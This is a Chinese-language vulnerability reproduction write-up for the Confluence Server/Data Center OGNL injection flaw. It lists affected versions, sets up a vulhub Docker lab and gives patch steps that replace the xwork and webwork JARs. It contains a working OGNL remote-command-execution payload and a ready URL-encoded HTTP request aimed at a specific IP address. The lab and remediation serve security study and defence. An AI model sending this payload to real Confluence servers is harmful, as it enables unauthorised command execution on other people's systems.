『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞

Confluence Server and Data Center >= 1.3.0Confluence Server and Data Center < 7.4.17Confluence Server and Data Center < 7.13.7Confluence Server and Data Center < 7.14.3Confluence Server and Data Center < 7.15.2Confluence Server and Data Center < 7.16.4Confluence Server and Data Center < 7.17.4Confluence Server and Data Center < 7.18.1

https://github.com/vulhub/vulhub/tree/master/confluence

docker-compose up -d

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1Host: 123.60.91.170:8090Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh,zh-CN;q=0.9Cookie:Connection: close

1.关闭 Confluence2.下载https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar3.删除或者将 /confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar 移出 Confluence  安装目录注：不要在目录中留下旧的  JAR  文件4.将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中5.检查新的 xwork-1.0.3-atlassian-10.jar 文件权限是否和所在目录的其他文件权限一致。6.启动 Confluence

1.关闭 Confluence2.下载https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jarhttps://packages.atlassian.com/maven-internal/opensymphony/webwork/2.1.5-atlassian-4/webwork-2.1.5-atlassian-4.jarhttps://confluence.atlassian.com/doc/files/1130377146/1137639562/3/1654274890463/CachedConfigurationProvider.class3.删除或者将 /confluence/WEB-INF/lib/xwork-1.0.3.6.jar/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar移出 Confluence 安装目录注：不要在目录中留下旧的  JAR  文件4. 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中5.将下载的 webwork-2.1.5-atlassian-4.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中6.检查两个新文件权限是否和所在目录的其他文件权限一致。7.切换到目 录/confluence/WEB-INF/classes/com/atlassian/confluence/setupa.创建一个名为的新目录 webworkb.将 CachedConfigurationProvider.class 复制到/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webworkc.确保 CachedConfigurationProvider.class 文件和/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork 目录权限正确8.启动 Confluence